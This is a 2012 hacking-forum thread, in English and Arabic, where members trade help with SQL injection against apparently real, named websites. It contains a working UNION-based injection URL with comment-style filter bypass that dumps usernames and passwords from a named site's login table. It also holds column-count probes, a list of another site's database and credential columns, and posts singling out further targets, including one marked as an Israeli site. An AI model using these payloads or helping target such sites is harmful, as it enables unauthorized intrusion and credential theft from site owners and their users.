SQLi Help [service] OPEN

CODE3 · 05-13-2012, 02:37 PM

Hello everyone!
This is free Help service for beginners in SQLi.I know everyone face some problems in beginning so i made this thread to Help them.

Rules:
Only Post your syntax where you stuck.
Wait for solution.
Dont ask me for cracking Hash.
Please make sure that URl must be vulnerable.

المصدر: :: vBspiders Professional Network ::

SQLi Help FserviceD OPEN

المفترس · 05-13-2012, 05:45 PM

lets begin with that
and show me what can you do
ok

كود PHP:

  http://www.winema.co.nz/index.php?PageID=84

good luck

xavi13 · 05-13-2012, 10:53 PM

يا جماعة المنتدى عربي أم انجليزي

devyounss · 05-14-2012, 12:11 AM

THE SYNTAX WHERE I STUCK

http://www.visionxip.com/ficha.php?i...0x6c6f67696e--

I BYPASSIT THE 403 FORBIDDEN
BUT I CAN't GET THE USER AND PASSWORD

FORBIDDEN PROBLEME
THX IN ADVANCE

المفترس · 05-14-2012, 09:08 AM

اقتباس

المشاركة الأصلية كتبت بواسطة devyounss


	THE SYNTAX WHERE I STUCK http://www.visionxip.com/ficha.php?id=-297%20UNION%20all%20/!SELECT/%201,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24,25,26%20from%20informati on_schema./**/columns%20where%20table_name=0x6c6f67696e-- I BYPASSIT THE 403 FORBIDDEN BUT I CAN't GET THE USER AND PASSWORD FORBIDDEN PROBLEME THX IN ADVANCE

بعد ادن صاحب الموضوع

كود PHP:

  http://www.visionxip.com/ficha.php?id=-297 UNION all /*!SELECT*/ 1,2,/*!concat*/(usuario,0x3a,pass)
,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from login--

devyounss · 05-14-2012, 12:44 PM

جزاك الله خيرا يا ***1649;خى على المساعدة
هل لديك موقع يشرح كيفية تخطى الفلترة لأنه دائما يعيقني هدا المشكل

CODE3 · 05-14-2012, 02:55 PM

اقتباس

المشاركة الأصلية كتبت بواسطة المفترس


	lets begin with that and show me what can you do ok كود PHP: `http://www.winema.co.nz/index.php?PageID=84` good luck

it's 55 columns brother

اقتباس


	http://www.winema.co.nz/index.php?PageID...+by+55--+-

المفترس · 05-14-2012, 11:37 PM

اقتباس

المشاركة الأصلية كتبت بواسطة CODE3


	it's 55 columns brother

I know that
any way thanks

أسدالله الدمشقي · 05-15-2012, 04:07 AM

thx pro i dont have idea now ^_^

aircrack -ng · 05-15-2012, 03:49 PM

اقتباس

المشاركة الأصلية كتبت بواسطة CODE3


	it's 55 columns brother

non non non Blind sql Injection

xavi13 · 05-18-2012, 09:36 PM

http://sportmarket.co.il/index.php?type=i&id=152

اسرائيلي مصاب

CODE3 · 05-19-2012, 02:18 PM

اقتباس

المشاركة الأصلية كتبت بواسطة xavi13


	http://sportmarket.co.il/index.php?type=i&id=152 اسرائيلي مصاب

the site doesn't work

SuperNoia · 05-19-2012, 08:33 PM

DATABASE : "mundodofut1"
Table: "usuarios"
Coluns: "login" and "senha"

site - mundodofutebol "website brazil"
locate = "/categoria/chuteiras//umbro/?origem=google#conteudo"

I used some tools and did not get success, then I take the test in Havij thus he discovered the name of the database tables and columns by guesswork, but when trying to extract the data, it can not guess some characters.

help please !

thx all ;)

best regards !

Brazilian's hACKING

aircrack -ng · 05-19-2012, 08:48 PM

اقتباس

المشاركة الأصلية كتبت بواسطة SuperNoia


	DATABASE : "mundodofut1" Table: "usuarios" Coluns: "login" and "senha" site - mundodofutebol "website brazil" locate = "/categoria/chuteiras//umbro/?origem=google#conteudo" I used some tools and did not get success, then I take the test in Havij thus he discovered the name of the database tables and columns by guesswork, but when trying to extract the data, it can not guess some characters. help please ! thx all ;) best regards ! Brazilian's hACKING